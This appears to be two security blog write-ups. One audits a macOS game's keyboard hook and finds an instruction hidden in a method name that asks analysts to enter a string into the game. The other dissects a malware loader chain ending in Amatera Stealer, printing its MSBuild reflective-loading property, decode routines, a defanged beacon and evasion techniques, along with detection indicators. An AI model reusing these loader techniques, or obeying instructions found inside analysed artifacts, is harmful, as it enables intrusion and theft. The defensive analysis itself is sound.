So the interesting question isn’t whether it hooks your keyboard — it says it does, it has to. The question is what happens to the keystrokes after it sees them. That turns out to be answerable precisely, and the answer is: nothing. They’re counted and dropped.

I want to write this one up because clean results rarely get published, and because “legitimate app needs a scary permission” is a case where the reasoning matters more than the verdict. Also because the developers left a note in the binary for whoever came to read it, and I nearly walked into it.

The short version

CGEventTap (ListenOnly, HID tap)
  └── keycode int
      └── _queue.Enqueue(("key", keyCode))     ← value stored
          └── ProcessInput()                    ← value DISCARDED, returns a count
              └── _keysDown += count
                  └── Cat.Tap(int amount)       ← swaps the paw sprite

The keycode survives about one frame and is never read by anything. The only thing that reaches the game is how many keys were pressed.

The bundle

com.Irox-Games.BongoCat, Unity 6000.2.8f1, universal binary, macOS 12+. Four native plugins:

PlugIns/GlobalKeyHook.bundle          84 KB   ← this one
PlugIns/TransparentWindow.bundle      86 KB
PlugIns/lib_burst_generated.bundle    33 KB
PlugIns/libdiscord_partner_sdk.dylib  25 MB

Worth noting for anyone triaging a Unity app for the first time: those .bundle entries are flat Mach-O files, not directories. I spent a minute convinced the extraction had dropped them because find returned nothing under them.

The build ships full PDBs — every managed assembly has a matching .pdb with original type and method names intact. That’s not proof of anything on its own, but it does mean the entire decompile is readable rather than a wall of Class7.Method3.

What the hook actually is

84 KB, and the import table is seventeen symbols:

AXIsProcessTrustedWithOptions   kAXTrustedCheckOptionPrompt
CGEventTapCreate                CGEventTapEnable
CGEventGetIntegerValueField
CFMachPortCreateRunLoopSource   CFRunLoopAddSource
CFRunLoopGetMain                CFRunLoopRemoveSource
CFRelease                       kCFAllocatorDefault
kCFRunLoopCommonModes           __kCFBooleanTrue
NSDictionary                    objc_msgSend
__stack_chk_fail                __stack_chk_guard

That list is the finding. There is no file I/O, no networking, no socket, no string construction, no timer, no crypto. Whatever this library does, it cannot persist or transmit anything, because it has not linked the ability to.

Three exported functions, ~700 bytes of code, so you can just read all of it. The tap is created like this:

CGEventTapCreate(kCGHIDEventTap,          // tap=0
                 kCGHeadInsertEventTap,   // place=0
                 kCGEventTapOptionListenOnly,  // options=1
                 0x0200040a,              // mask
                 eventTapCallback, NULL)

Two things there matter. kCGEventTapOptionListenOnly makes it a passive observer — it physically cannot modify, swallow or inject events, which rules out the whole class of tricks that involve eating a keystroke or substituting one. And the mask decodes to exactly four event types:

bit  1  → kCGEventLeftMouseDown
bit  3  → kCGEventRightMouseDown
bit 10  → kCGEventKeyDown
bit 25  → kCGEventOtherMouseDown

No kCGEventKeyUp. No kCGEventFlagsChanged. That second omission is the one I’d point at if I had to pick a single detail: without FlagsChanged the hook never sees modifier state, so it cannot distinguish a from A, and it has no idea whether Command is held. A keylogger that can’t tell you shift-state is not a keylogger anyone would ship.

The callback reads field 8 (kCGKeyboardEventAutorepeat) purely to ignore held keys, then field 9 (kCGKeyboardEventKeycode), and passes the integer to a function pointer supplied by the caller. Then it returns the event untouched.

The keycode never gets used

The managed side receives it, and this is where it ends:

[MonoPInvokeCallback(typeof(KeyCallbackDelegate))]
private static void OnKeyEvent(int keyCode)
{
    _queue.Enqueue(("key", keyCode));
}

public int ProcessInput(bool ignoreMouse)
{
    int num = 0;
    (string, int) result;
    while (_queue.TryDequeue(out result))
    {
        if (!ignoreMouse || !(result.Item1 == "mouse"))
        {
            num++;
        }
    }
    return num;
}

result.Item2 is never read. The tuple is dequeued, the string tag is checked so the “ignore mouse clicks” setting works, the counter increments, and the keycode goes out of scope. What propagates upward is int num.

From there it’s _keysDown += _platformHook.ProcessInput(...), then OnKeyPressed?.Invoke(_keysDown), then Cat.Tap(int amount), which swaps between a left-paw and a right-paw sprite. Four call sites reference OnKeyPressed in the entire assembly and all four pass a count.

This is stronger evidence than any amount of “I didn’t see it send anything”. A keylogger’s entire purpose is the key identity. This code destroys it on the frame it arrives, in the only function that touches the queue.

The note in the binary

In BongoCat.OSSpecific.GlobalKeyHook.Start(), the coroutine that waits for the user to grant Accessibility permission is called:

yield return Thank_you_for_keeping_us_accountable_Enter_ACCOUNTABILITY_into_the_
lobby_id_field_in_the_multiplayer_tab_and_click_join_for_a_free_item();

The method body is unremarkable — it polls AXIsProcessTrusted() on a one-second loop and restarts the hook once permission lands. The name is the whole payload, and it is only visible if you decompile the assembly.

I didn’t type it in. Not because I think Irox Games is running a trap — this reads like a friendly easter egg for reverse engineers, and “thank you for keeping us accountable” is a nice thing to find in a binary. But the shape of it is “text discovered inside the artifact under analysis instructs the analyst to enter an attacker-chosen string into an input field”, and that shape deserves the same reflex regardless of how friendly the wording is. If I’d found it in something I didn’t already trust, following it would have been the mistake.

It’s a good canary. Anyone — or anything — that reports back “I entered ACCOUNTABILITY and got a free item” has just demonstrated that it acts on instructions found in untrusted data.

The signature proves nothing

Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 flags=0x2(adhoc)
Signature=adhoc
TeamIdentifier=not set

Ad-hoc signed, no Developer ID, no notarisation, no entitlements. spctl -a rejects it. This is completely normal for a Steam-distributed Mac game and it is not by itself suspicious — but it does mean codesign --verify passing tells you only that the bundle is internally consistent. There’s no cryptographic link to the publisher. Anyone could modify the app, re-sign it ad-hoc, and it would verify exactly as cleanly.

So a clean read of the code proves the code I read is clean, and nothing about whether it’s the code Valve shipped. The fix is boring: hash it against a copy you know came from Steam.

Steam-installed tree : ec7b9dd783b160fa5c5624ad262cb1b63b5a2bac36e3f63c2917d7ad57b7c1dc
Downloaded copy      : ec7b9dd783b160fa5c5624ad262cb1b63b5a2bac36e3f63c2917d7ad57b7c1dc

Identical, zero per-file differences, against appid 3419430 buildid 24673527. For reference, GlobalKeyHook.bundle in that build is 60cdd89a7bd416de3c39b80390285dc863c6ead02846cc96cb2a9bd38fbcbbe7. Those are comparison values for anyone checking their own install, not detection signatures — a hash of a clean file has no business in a blocklist.

Watching it run

Static analysis said the hook can’t exfiltrate. Running it confirms nothing new in principle, but it does catch the thing static analysis is worst at: behaviour that only exists at runtime.

With the hook armed — the log line is GlobalKeyHook | Started successfully., meaning AXIsProcessTrustedWithOptions returned true and the tap is live — over two runs:

• No LaunchAgent written. The app has a launch-at-login feature that writes ~/Library/LaunchAgents/com.Irox-Games.BongoCat.plist with RunAtLoad, but only when you enable it. Log confirms AutoStart enabled: False and the directory stayed empty.
• No self-modification. Bundle hashed byte-identical before and after execution.
• No child processes. The only Process.Start in the assembly is open -R <its own Player.log> behind a “show log folder” button.
• Loopback traffic to steam_osx, which is the Steamworks API talking to the Steam client over its local IPC socket.
• One external TLS connection, plus around 28 unconnected UDP sockets.

That last line is the only thing in the whole exercise that needed real work to explain.

The parts I got wrong

Two, and both are worth more than the clean result.

I monitored a corpse. My first harness resolved the PID once, right after launch, then polled it for ninety seconds. But the app calls SteamAPI.RestartAppIfNecessary(3419430), logs Shutting down because RestartAppIfNecessary returned true, and exits — Steam then relaunches a different process from steamapps/common/. So I spent 90 seconds running lsof against a dead PID and concluded, triumphantly, that Bongo Cat opens zero network sockets. It opens several. Re-resolve the PID every poll if the thing you’re watching can hand off.

My URL sweep had a hole in it. I’d grepped every binary and asset for network indicators using https?://, got a tidy list of Steam and Discord and Crowdin links, and moved on. When the live capture showed a connection to a Cloudflare address that matched nothing in that list, my first instinct was that the inventory was complete and the connection was therefore anomalous.

The inventory wasn’t complete. The regex required a scheme, so a bare hostname compiled into a dylib was invisible to it. Re-running the sweep for schemeless hostnames across every file in the bundle turned up exactly one domain I’d missed, and it was the one I was looking for:

gaming-sdk.com              → 172.64.146.157, 104.18.41.99
latency.media.gaming-sdk.com

Both strings live inside libdiscord_partner_sdk.dylib, sitting next to discord.com and cdn.discordapp.com. 172.64.146.157 is an exact match for the address from the earlier run. It’s Discord’s Partner SDK doing voice-region latency probing, which also accounts for the pile of unconnected UDP sockets — that’s WebRTC ICE candidate gathering, not a covert channel.

I’d guessed “it’s the Discord SDK” and then argued myself out of it because the IP didn’t match discord.com. The guess was right; the reasoning that rejected it was built on an inventory I’d assumed was exhaustive and hadn’t checked.

Two things follow from that. If you’re auditing a binary for network indicators, https?:// is not sufficient — hostnames get compiled in bare, and SDK vendors don’t always use the domain their brand suggests. And the fact that gaming-sdk.com is an unbranded, privacy-redacted, Cloudflare-registered domain created in November 2024 is a reasonable thing to raise with Discord, and no reflection at all on the game that bundles their SDK.

Notably, Assembly-CSharp.dll contains no network hostnames whatsoever. Every byte of network capability in this application comes from the Steam and Discord SDKs. The game’s own code never names a host.

What I didn’t establish

• I ran this on a live machine with unprivileged monitoring, not in a VM with a syscall trace. I have before-and-after filesystem diffs, not a record of every transient write.
• Two runs, ninety and a hundred and twenty seconds. Trigger-gated or long-delayed behaviour wouldn’t appear, and no amount of watching proves absence.
• I read the key hook and the input path exhaustively. I did not read all 20,000 lines of decompiled game logic; I searched it for the things that would matter (UnityWebRequest, Process.Start, File.Write*, Assembly.Load, Activator.CreateInstance, FromBase64String, CryptoStream) and followed every hit to its call site.

Verdict

Nothing malicious. Every capability maps to a feature the app openly advertises, every network flow is accounted for, and the component that looks most like a keylogger is built in the least capable way that still animates a cat — passive tap, no modifiers, no key-up, and the keycode discarded in the only function that touches it.

The permission prompt is real and worth understanding before you click allow: granting Accessibility to any app means it can observe your input system-wide, and that trust is not revocable per-keystroke. But “this app needs a dangerous permission” and “this app abuses that permission” are separate claims, and the second one has to be demonstrated rather than assumed. Here it isn’t true.

The best thing I got out of it was a reminder that a tidy inventory is the easiest thing in the world to trust, and that “the data contradicts my list” should send you back to check how the list was built before you go looking for an anomaly.

Has this happened to you? This page is a technical teardown written for analysts. If you’re here because your own accounts were stolen and you need to know what to do right now, read the recovery guide instead — it’s written in plain English and ordered by what matters first.

A friend installed what he thought was an unreleased AAA game. It never drew a frame. What it did instead was run a four-stage loader chain ending in Amatera Stealer, and take his Microsoft account on the way through.

The chain itself is documented — Malwarebytes covered this campaign in July. What I want to write about is the fourth stage, because the way it stores its payload is the most elegant anti-analysis trick I’ve run into, and because I got it wrong the first time in a way that’s worth showing.

The short version

Setup.exe (clean Ren'Py launcher)
  └── game/script.rpyc          init block, runs before the first frame
      └── 7Mmpw6GIH3zL.lc       XOR'd, password-protected ZIP, decrypted in memory
          └── tIM9CNSIu.cmd     MSBuild with property functions enabled
              └── .csproj       reflectively loads a 5.6 MB .NET assembly from build properties
                  └── stage 4   decoded from the .csproj itself, run in memory
                      └── Amatera Stealer, pulled over the network

Nothing malicious is ever written to disk as a .dll or an .exe. The only signed binary in the process tree is Microsoft’s own MSBuild.exe.

Stage 1: the game

The package is a stock Ren’Py 8.1.3 game. Setup.exe is the unmodified Ren’Py launcher shim, renamed — worth saying clearly, because it is a clean file and signaturing it would flag every legitimate visual novel on Windows.

The malicious part is in script.rpyc, in an init 1 block, which Ren’Py runs before anything renders. The splashscreen label immediately calls renpy.quit(), so from the user’s side the game just fails to launch and they move on.

It reads a hidden manifest from the game directory — base64, then XOR with an ASCII key:

secret = '81034149cd6f48c8821340204f92766e'.encode()
decrypted = bytes(b ^ secret[i % len(secret)] for i, b in enumerate(decoded))

{
  "file_nm": "7Mmpw6GIH3zL.lc",
  "pasw": "YUIildEgd5B",
  "exc_fl": "tIM9CNSIu.cmd",
  "snd_bx": false,
  "pb_s": "A_TG3_eb9_p7_52",
  "hash": "817d99b3678c2341c6ca42729fa92586e3d113d98066db332ea312bedb5813f8..."
}

A few details worth noting in the dropper:

• Every extracted .dll, .bat and .cmd is written with a random 2–3 character extension and only renamed back moments before execution.
• A random REM <uuid> line is spliced into the scripts, so every victim gets different file hashes. Hash-based detection was never going to work here by design.
• It writes :Zone.Identifier alternate data streams with ZoneId=0 to strip the Mark-of-the-Web and suppress SmartScreen.
• Execution goes through forfiles.exe /p <dir> /m <file> /c "cmd /c call @path", so the parent process in telemetry is forfiles.exe, not the game.

There’s also a bundled sys_config Python package that presents as an anti-VM engine. It’s rigged. The internet checks return a perfect score with the string “Internet checks disabled”, and _check_specs() computes disk, RAM and CPU-core results and then discards them — only the model and manufacturer strings are actually weighed.

And a beacon, XOR-obfuscated with the key cLkY_x9:

hxxps://<victim-MAC-as-12-hex>[.]pingtrack[.]click/?id=<campaign>&data[hash]=<id>

The MAC address goes in the subdomain, so the identifier reaches the operator through DNS resolution even if the HTTP request itself is blocked. My friend’s Ren’Py log recorded a 503 back from it, which makes this the one indicator in the whole set that I can say was observed live rather than inferred from a binary.

Stage 2: MSBuild as the execution engine

The container yields four files. The .cmd relaunches itself under conhost.exe --headless so no window ever appears, then:

set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_xpey=%~dp0DocumentFormatOpenXml.csproj"
"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "…\DocumentFormatOpenXml.csproj" /nologo /v:q

The project files are padded with realistic build metadata. The live part is one property:

<RepositoryCommit>$(Product)$(AnalyzerConfigCache)$(GeneratedCodeCache)</RepositoryCommit>
<PackageOutputMetadata>DocumentFormat.OpenXml.Drawing.BaseDescriptor7</PackageOutputMetadata>

<NuGetAuditSuppress>$([System.AppDomain]::CurrentDomain.Load(
    $([System.Runtime.Remoting.Metadata.W3cXsd2001.SoapHexBinary]::Parse($(RepositoryCommit)).Value)
  ).CreateInstance($(PackageOutputMetadata)))</NuGetAuditSuppress>

A 5.6 MB hex string, split across three separate project files, concatenated by property substitution and loaded straight into the MSBuild process. CreateInstance triggers the type’s static constructor. Classic T1127.001.

Stage 3: a real library with one extra class

The stitched assembly is a genuine build of DocumentFormat.OpenXml with a single class grafted in: DocumentFormat.OpenXml.Drawing.BaseDescriptor7. Its .cctor is marked [SecurityCritical] and [HandleProcessCorruptedStateExceptions], and runs on type load.

Strings are decoded through a bytecode VM driven by an embedded resource, identifiers are single-use noise (_fky, _ru, _msvu, _jaqw). It installs an UnhandledException handler that calls Environment.Exit(0) so the process dies quietly instead of producing a crash dump. It blanks the process command line in the PEB via Marshal.WriteInt16, so tooling reading arguments sees nothing.

Then it reads the project path back out of the _xpey environment variable, and does something that took me a while to appreciate: it deletes the .csproj, clears _xpey, and wipes every other environment variable matching _[a-z]{1,7}.

At the time I read that as ordinary cleanup. It isn’t.

Stage 4: the payload is keyed to its own carrier

Between two [Emit-58868daf-402c-ced0-3671-72d07b02f459] markers, the .csproj holds 3,054,080 comma-separated integers. The first few:

2749, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, …

That is almost a DOS header. 90, 144, 0, 3, … is exactly 5A 90 00 03 …. But the first value is 2749, not 77, and about one value in six is above 255.

Here’s what the loader actually does:

table   = bytes(range(256)) + open('DocumentFormatOpenXml.csproj', 'rb').read()
payload = bytes(table[v] for v in values)

Values 0–255 index the identity prefix and decode to themselves. The 500,131 values above 255 are back-references into the carrier file’s own XML preamble. 2749 resolves to csproj[2493], which is the M in a comment near the top of the file.

So the payload is not encrypted with a key. It is encrypted with the file that contains it. Change a byte of that XML, reformat it, let an editor normalise the line endings, and 16% of the payload is destroyed. Which is why the loader deletes the .csproj the instant it has finished reading it — the key deletes itself, and if you turn up afterwards with only the dropped files, there is nothing to recover.

The result is a clean PE32+ .NET assembly, 3,054,080 bytes, BSJB metadata intact, last section ending exactly at EOF.

The part I got wrong

My first attempt at this was to mask everything with & 0xFF, scan for MZ, and cut from there:

byte_array = bytearray(v & 0xFF for v in raw_numbers)
mz_offset = byte_array.find(b'MZ')
final_payload = byte_array[mz_offset:]

That produced a 2,137,560-byte file starting with MZ, which looked enough like a result that I moved on and started analysing it.

It was garbage. The MZ was a coincidental two-byte match at offset 916,520, e_lfanew pointed past the end of the buffer, and the file contained no PE\0\0 signature anywhere. Masking discards exactly the bit that distinguishes a literal from a back-reference, so one byte in six was wrong — enough to destroy the file, not enough to be obvious.

The check that would have caught it immediately is about five lines:

e_lfanew = struct.unpack_from('<I', blob, 0x3C)[0]
assert blob[:2] == b'MZ'
assert blob[e_lfanew:e_lfanew+4] == b'PE\0\0'          # ← fails instantly
assert last_section_raw_offset + raw_size == len(blob)  # ← no slack at EOF

I now treat this as the rule: never believe your own extraction until something structural confirms it. Every decode, decrypt or carve should end with a cheap oracle that says “this really is what I think it is.” Finding MZ is not that oracle. A parseable PE with coherent section geometry is.

What stage 4 does

WrickSpilth.dll is a downloader and access broker, not the stealer itself. Every string literal is AES-encrypted and identifiers are renamed from a plausible-vocabulary dictionary (NetworkTree, DockingPaneLoader). A second, weaker layer — UTF-16 strings XORed with a single byte, stored across 1,710 explicit-layout structs — gave up 562 plaintext strings, which together with the metadata tables is enough to characterise it:

• AMSI patching — AmsiScanBuffer, System.Management.Automation.AmsiUtils, amsiContext, paired with VirtualProtect and FlushInstructionCache
• ETW blinding — EtwEventWrite through the same primitives
• Anti-debug — NtQueryInformationProcess, NtSetInformationThread, NtGlobalFlag, CloseHandle exception probing, vectored exception handlers
• EDR hook detection — reads .text/.rdata of loaded modules and diffs them against a clean snapshot before running
• Shellcode primitives — the entire P/Invoke set is VirtualAlloc, VirtualProtect, VirtualFree, VirtualLock, VirtualUnlock, VirtualQuery, RtlZeroMemory
• C2 — ECDH over a named curve, AES-CBC, HMAC-SHA256, over TcpClient + SslStream with a permissive certificate callback. Requests carry X-Timestamp, X-Nonce, X-Signature. Eight rotating browser User-Agents.
• DNS-over-HTTPS for its own resolution, so local DNS logging sees nothing
• EtherHiding — eth_call and eth_blockNumber; if every hardcoded domain is dead, the current C2 is read from an Ethereum smart contract. Sinkholing the domains does not close the channel.

There’s also a complete decoy WinForms app in there — “VaultLibrary Pro v2.1.0, Advanced Media Management System”, with fake playlists and sample media. Cover for anyone who opens the assembly and glances at it.

Notably absent: any browser, wallet or credential paths. Stage 4 fingerprints the host, establishes the channel, and pulls modules in on demand. The actual theft is done by Amatera, which arrives over the network and is not present in the files at all.

What Amatera takes once it lands

Stage 4 pulls it over the network, so it isn’t in this sample set and none of the below is my analysis — it’s from Proofpoint’s write-up of the family. Worth stating plainly, because “an info-stealer” undersells the blast radius and people consistently under-scope their clean-up as a result:

• Saved browser passwords, web-form data and profile history, from every Chromium-based browser and Firefox
• Session cookies — the ones that make MFA irrelevant, as below
• Password manager browser extensions — the extension’s own files on disk
• Cryptocurrency — software wallet files and wallet browser extensions
• Messaging apps — Signal, WhatsApp and XMPP desktop clients
• Email clients, and connection managers holding SSH and FTP credentials
• Arbitrary files, selected by operator-configured extensions and keywords

The App-Bound Encryption bypass is the mechanism behind most of that: it injects shellcode into the browser and has the browser decrypt and copy out its own protected files. Cookies and saved passwords come out through the same door. Exfiltration is a POST to the hardcoded C2, base64 and XOR encoded.

The practical consequence: everything typed into or saved by that browser should be considered attacker-owned, not just whatever you happened to be logged into.

How the Microsoft account went

Amatera bypasses Chrome/Edge App-Bound Encryption by injecting shellcode into the browser and having it decrypt and copy out its own cookie store. Edge on Windows is signed into the Microsoft account by default.

So the account went via session cookie theft, not password theft. The attacker imported the login.live.com cookies and landed in an already-authenticated session. MFA never fired, because MFA protects the login, not the session that follows it.

Full remediation steps are in the recovery guide. The short version, if you’re helping someone clean up: changing the password does not evict them. You have to revoke sessions — “sign out everywhere” — and you have to do it from a clean device with the infected machine already off the network, or the new session gets stolen too. And check the account’s recovery methods afterwards; attackers add their own, which is how accounts get re-stolen a week after a “successful” recovery.

Detection

Hashes are close to useless here — the dropper randomises them per victim on purpose. Behaviour is what’s left:

• MSBuild.exe with a cmd.exe/conhost.exe parent and no Visual Studio or build-agent ancestry, especially with MSBUILDENABLEALLPROPERTYFUNCTIONS=1 in the environment
• forfiles.exe … /c "cmd /c call @path" anywhere outside admin scripting
• conhost.exe --headless spawning cmd.exe
• A game or python.exe process writing to Downloads\tmp-#####-* and then executing from it
• Writes to :Zone.Identifier streams containing ZoneId=0
• A 12-hex-character subdomain under pingtrack[.]click in DNS or proxy logs

The extractor I wrote for the stage-4 encoding is pure data reconstruction — it never loads or executes the assembly, which matters, because the loader’s static constructor fires on type resolution and will run if you so much as Assembly.LoadFrom it. The YARA rules key on the MSBuild carrier and the launcher script rather than on hashes, for the reason above.

Samples are on MalwareBazaar; the C2 domains and the tracker went to ThreatFox. If you’re looking at the same campaign, the infrastructure here doesn’t overlap with what Malwarebytes published in July, so there’s more than one wave running.